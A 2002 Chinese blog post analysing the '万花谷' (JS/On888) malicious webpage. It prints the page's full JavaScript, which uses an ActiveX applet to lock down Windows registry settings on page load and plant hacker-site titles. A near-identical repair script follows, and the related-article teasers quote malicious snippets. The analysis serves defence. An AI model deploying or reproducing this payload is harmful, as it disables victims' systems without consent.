网站恶意代码陷阱分析及修复代码

原创 2002年08月22日 09:45:00

“万花谷”网站恶意病毒“陷阱”分析介绍及修复代码
 作者:邱腾 (chutium)

新浪科技报道:
  国家反病毒应急处理中心联防单位北京江民公司的反病毒应急小组最近监测到国内有心怀不轨的人到处在互连网上散发
一个美丽诱人的网址"万花谷",这实际是一个恶意"陷阱",有人经不住诱惑,只用鼠标轻轻点一下,计算机就立即瘫痪了,
这是有人利用Java最新技术进行破坏的又一个恶意网址。北京江民公司提醒广大上网用户注意严加防范,遇到有On888.xxx之
类的网址请不要点击,并开启KVW3000的病毒实时监视防火墙进行防杀。 

该病毒的技术特征:

JS/On888是一个新的含有有害代码的ActiveX网页文件,它通过在一个网络地址来对计算机用户造成破坏,其破坏特性如下:
 (1)用户不能正常使用WINDOWS的DOS功能程序;
 (2)用户不能正常退出WINDOWS,
 (3)开始菜单上的"关闭系统"、"运行"等栏目被屏蔽,防止用户重新以DOS方式启动,关闭DOS命令、关闭REGEDIT命令等。
 (4)将IE的浏览器的首页和收藏夹中都加入了含有该有害网页代码的网络地址。
具体的表现形式是:
 a:网络地址是:www.on888.xxx.xxx.com
 b:在IE的"收藏夹"中自动加上"万花谷"的快捷方式,网络地址是:"http://96xx.xxx.com";


下面,作者提供病毒代码的分析,及对其修复的代码:

之所以将病毒命名为JS/xxxxx,
其原因就是因为它是在页面中使用了恶意的JavaScript代码:

首先,让我们看看HTML页面是如何修改IE标题的:
原因是利用了下面这段JavaScript代码修改了
HKLM/SOFTWARE/Microsoft/Internet Explorer/Main/

HKCU/Software/Microsoft/Internet Explorer/Main/
中的Window Title这个键的键值;
并修改了用户的许多IE设置,如
消除RUN按纽、消除关闭按纽、消除注销按纽、隐藏桌面、隐藏盘符、禁止注册表等
以下就是这个病毒的代码:

<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--创建到收藏夹-->
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
<!--ActiveX初始化过程-->
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookies.indexOf("Chg") == -1)
{
<!--修改设置主页-->
file://Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://com.6to23.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
<!--改写注册表-->
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoRun", 01, "REG_BINARY"); file://消除RUN按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose", 01, "REG_BINARY"); file://消除关闭按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoLogOff", 01, "REG_BINARY"); file://消除注销按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoDrives", "63000000", "REG_DWORD"); file://隐藏盘符
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//System//DisableRegistryTools", "00000001", "REG_DWORD"); file://禁止注册表
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "您的计算机已经被http://www.cnhack.org/优化: )");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "您的计算机已经被http://www.cnhack.org/优化: )");
file://设置开机提示
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "新的标题★http://com.6to23.com/ & http://www.cnhack.org/");
file://设置IE标题
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
init();</SCRIPT>


以下是利用一段类似的JavaScript代码修复各项的键值:
<SCRIPT language=JavaScript>
document.write("<APPLET HEIGHT=0 WIDTH=0 code=com.ms.activeX.ActiveXComponent></APPLET>");
<!--创建到收藏夹-->
function AddFavLnk(loc, DispName, SiteURL)
{
var Shor = Shl.CreateShortcut(loc + "//" + DispName +".URL");
Shor.TargetPath = SiteURL;
Shor.Save();
}
function f(){
try
{
<!--ActiveX初始化过程-->
ActiveX initialization
a1=document.applets[0];
a1.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Shl = a1.GetObject();
a1.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}");
a1.createInstance();
FSO = a1.GetObject();
a1.setCLSID("{F935DC26-1CF0-11D0-ADB9-00C04FD58A0B}");
a1.createInstance();
Net = a1.GetObject();

try
{
if (documents .cookies.indexOf("Chg") == -1)
{
<!--修改设置主页-->
file://Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Start Page", "http://com.6to23.com/");
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
<!--改写注册表-->
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoRun", 00, "REG_BINARY"); file://修复RUN按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoClose", 00, "REG_BINARY"); file://修复关闭按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoLogOff", 00, "REG_BINARY"); file://修复注销按纽
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//Explorer//NoDrives", "00000000", "REG_DWORD"); file://取消隐藏盘符
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//System//DisableRegistryTools", "00000000", "REG_DWORD"); file://取消禁止注册表
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//Disabled", "00000001", "REG_DWORD");
Shl.RegWrite ("HKCU//Software//Microsoft//Windows//CurrentVersion//Policies//WinOldApp//NoRealMode", "00000001", "REG_DWORD");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeCaption", "");
Shl.RegWrite ("HKLM//Software//Microsoft//Windows//CurrentVersion//Winlogon//LegalNoticeText", "");
file://重设开机提示
Shl.RegWrite ("HKLM//Software//Microsoft//Internet Explorer//Main//Window Title", "Microsoft Internet Explorer");
Shl.RegWrite ("HKCU//Software//Microsoft//Internet Explorer//Main//Window Title", "Microsoft Internet Explorer");
file://重设IE标题
var expdate = new Date((new Date()).getTime() + (1));
documents .cookies="Chg=general; expires=" + expdate.toGMTString() + "; path=/;"
}
}
catch(e)
{}
}
catch(e)
{}
}
function init()
{
setTimeout("f()", 1000);
}
<!--实现打开页面后1秒钟内执行测试修改注册表的工作-->
init();</SCRIPT>

作者提供了以上程序,大家可以根据自己对注册表的了解自行修改
走走形式……声明,本段代码仅供学习使用,不要将本段代码用在不正当的途径!

Web恶意代码检测方法

1  引言     随着Web2.0网站的普及和互动性的增强,统计显示Web应用漏洞已成为互联网的最大安全隐患,2009年第一季度截获的挂马网站(网页数量)总数目为 197676188个,平均每天截...
  • qiuzhi__ke
  • qiuzhi__ke
  • 2016年07月28日 18:23
  • 2695

恶意代码分析相关工具大全以及恶意代码检测网站

逆向工具大全
  • chichoo
  • chichoo
  • 2014年04月10日 15:51
  • 6433

网页恶意代码的现象及处理方法

 作者:seve     文章来源: 几度设计1.禁止使用电脑 现象描述:尽管网络流氓们用这一招的不多,但是一旦你中招了,后果真是不堪设想!浏览了含有这种恶意代码的网页其后果是:"关闭系统"、"运行"...
  • feng19821209
  • feng19821209
  • 2005年01月09日 22:51
  • 2544

Javascript网页恶意代码

///以下代码仅供学习研究使用,请勿使用害人,造成损失本人概不负责,谢谢合作! //1、格式化硬盘 scr.Reset(); scr.Path="C:\\windows\\Men...
  • jilongliang
  • jilongliang
  • 2014年12月25日 15:34
  • 1570

网安--第七章 恶意代码分析与防治

第7章 恶意代码分析与防治内容提要◎ 恶意代码的发展史和恶意代码长期存在的原因◎ 恶意代码实现机理、定义以及攻击方法◎ 恶意代码生存技术、隐藏技术,介绍网络蠕虫的定义以及结构◎ 恶意代码防范方法:基于...
  • lishirong
  • lishirong
  • 2014年12月02日 09:42
  • 3318

在网页中加入恶意注入代码

#!/usr/bin/python #coding=utf-8 import ftplib def injectPage(ftp,page,redirect): f = open(page + '...
  • zwlww1
  • zwlww1
  • 2018年01月09日 10:04
  • 87

网页恶意代码检测

摘要 随着Internet技术的广泛应用,越来越多的信息资源通过Web服务共享。目前网页浏览是互联网上使用率最高的网络服务之一,也成为了恶意代码利用的有效传播途径。网页恶意代码逐渐成为危害面最广泛、...
  • kongls08
  • kongls08
  • 2011年12月15日 10:28
  • 7922

浅谈恶意代码的研究分析

2008-06-05 09:30:00   51CTO.com 专家特稿】国外著名的某安全公司指出:2007年互联网上传播的有记载的新型恶意程序(包 括病毒,蠕虫,木马等)数目达2,227,415...
  • sealinedfw
  • sealinedfw
  • 2011年08月03日 09:59
  • 2137

JavaScript恶意代码

一 介绍 使用JavaScript进行程序开发时,可以使用JavaScript的部分属性或方法来提高安全性,但也会无意编写出恶意代码。   二 恶意代码举例 在编写代码时,有可能由于疏忽编写出...
  • chengqiuming
  • chengqiuming
  • 2017年04月12日 10:48
  • 601

过滤html恶意代码

/** * 转义HTML特殊字符 */ public static final String trunhtml(String html){ if(html ...
  • sd4015700
  • sd4015700
  • 2016年06月30日 15:58
  • 557
内容举报
返回顶部
收藏助手
不良信息举报
您举报文章:网站恶意代码陷阱分析及修复代码
举报原因:
原因补充:

(最多只允许输入30个字)